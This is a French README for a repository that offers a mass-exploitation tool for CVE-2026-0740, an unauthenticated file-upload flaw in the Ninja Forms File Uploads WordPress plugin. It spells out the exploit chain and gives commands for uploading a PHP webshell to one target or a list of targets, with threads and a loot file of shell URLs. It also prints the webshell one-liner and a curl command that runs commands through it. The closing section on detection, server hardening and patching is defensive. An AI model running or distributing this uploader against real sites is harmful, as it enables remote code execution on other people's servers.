
Preuve de concept pour CVE-2026-0740 : Ninja Forms File Uploads <= 3.3.26 — Téléchargement arbitraire de fichiers non authentifié pouvant conduire à une exécution de code à distance (RCE).
Author: 0xNuts
Contributor: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass
PoC pour CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Téléversement arbitraire de fichiers non authentifié pouvant mener à une RCE.
La vulnérabilité initiale a été découverte par Sélim Lanouar (@whattheslime). Le moteur d'exploitation de cibles massives a été développé par 0xNuts avec la contribution de Cursor.
Ce dépôt est fourni uniquement à des fins de recherche en sécurité et défensives (tests de pénétration autorisés, red team avec autorisation écrite, validation de correctifs et durcissement).
Le plugin Ninja Forms - File Uploads pour WordPress est vulnérable à un téléversement arbitraire de fichiers non authentifié dans toutes les versions jusqu'à 3.3.26 (inclus).
Chaîne d'exploitation :
nf_fu_get_new_nonce avec un field_id arbitraire.nf_fu_upload valide l'extension du fichier téléversé (ex. image.jpg), mais l'attaquant peut remplacer le nom du fichier de destination via le paramètre POST (image_jpg).move_uploaded_file() sans assainissement adéquat → extension arbitraire + traversée de chemin (../).Un correctif complet est disponible dans la version 3.3.27+.
Ce dépôt contient uniquement CVE-2026-0740.py et README.md. Installez les dépendances manuellement :
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Remarque : Vous devez utiliser exactement un de -t ou -f.
python3 CVE-2026-0740.py -t http://cible.com --shell shell.php
Avec traversée de chemin explicite :
python3 CVE-2026-0740.py -t http://cible.com --shell shell.php -d ../../../shell.php
Créez un fichier cibles.txt :
http://site1.com
https://site2.com
10.0.0.5
# les lignes de commentaire sont ignorées
Exécutez :
python3 CVE-2026-0740.py -f cibles.txt --shell shell.php
Avec réglage des workers et fichier de butin :
python3 CVE-2026-0740.py -f cibles.txt --shell shell.php -w 50 -o butin.txt
L'URL du shell téléversé avec succès sera écrite dans le fichier de butin (mode ajout).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
Après un téléversement réussi, le script affiche l'URL du shell. Vérifiez (uniquement sur des cibles de laboratoire/autorisées) :
curl "http://cible.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://cible.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Mettez à jour Ninja Forms - File Uploads vers la version 3.3.27 ou ultérieure immédiatement.
Ninja Forms - File UploadsAprès la mise à jour :
wp-admin/admin-ajax.php avec les actions nf_fu_get_new_nonce / nf_fu_upload — le téléversement arbitraire doit être refusé.Vérifiez les répertoires de téléversement WordPress :
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Recherchez les fichiers étrangers : .php, .pht, .phtml, .phar, .html, .svg, .js qui ne devraient pas être présents.
Vérifiez également les logs du serveur web pour les requêtes vers :
/wp-admin/admin-ajax.php
avec les paramètres action=nf_fu_get_new_nonce ou action=nf_fu_upload.
WAF / limitation de débit sur /wp-admin/admin-ajax.php pour bloquer les abus de téléversement massif.
Désactiver l'exécution PHP dans le répertoire wp-content/uploads/ via la configuration du serveur web :
Apache (.htaccess dans uploads/) :
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx :
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Moindre privilège : assurez-vous que les permissions des fichiers téléversés ne sont pas accessibles en écriture par le serveur web en dehors du répertoire nécessaire.
Surveillance : alertez sur les POST vers admin-ajax.php avec l'action nf_fu_* depuis des IP étrangères ou un volume élevé.
Sauvegarde et réponse aux incidents : si des IoC sont trouvés, isolez le site, faites pivoter les identifiants de la base de données et de l'administrateur, auditez les autres plugins/thèmes.
Désactivez et supprimez le plugin Ninja Forms - File Uploads si la fonctionnalité de téléversement n'est pas nécessaire.
| Vecteur / Extension | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | Fonction |
|---|
-t, --target | Cible unique (URL unique) |
-f, --targets-file | Fichier .txt contenant la liste des cibles (une URL par ligne) |
--shell | Fichier de payload/webshell à téléverser (obligatoire) |
-d, --dest | Traversée de chemin de destination (par défaut : ../../../) |
-w, --workers | Nombre de threads concurrents (par défaut : 20) |
-o, --output | Fichier de butin pour les URL de shell réussis (par défaut : results.txt) |
-x, --proxy | Proxy HTTP (ex. http://127.0.0.1:8080) |
-H, --headers | En-têtes personnalisés (format : 'Header: Value') |
--timeout | Timeout HTTP en secondes (par défaut : 10) |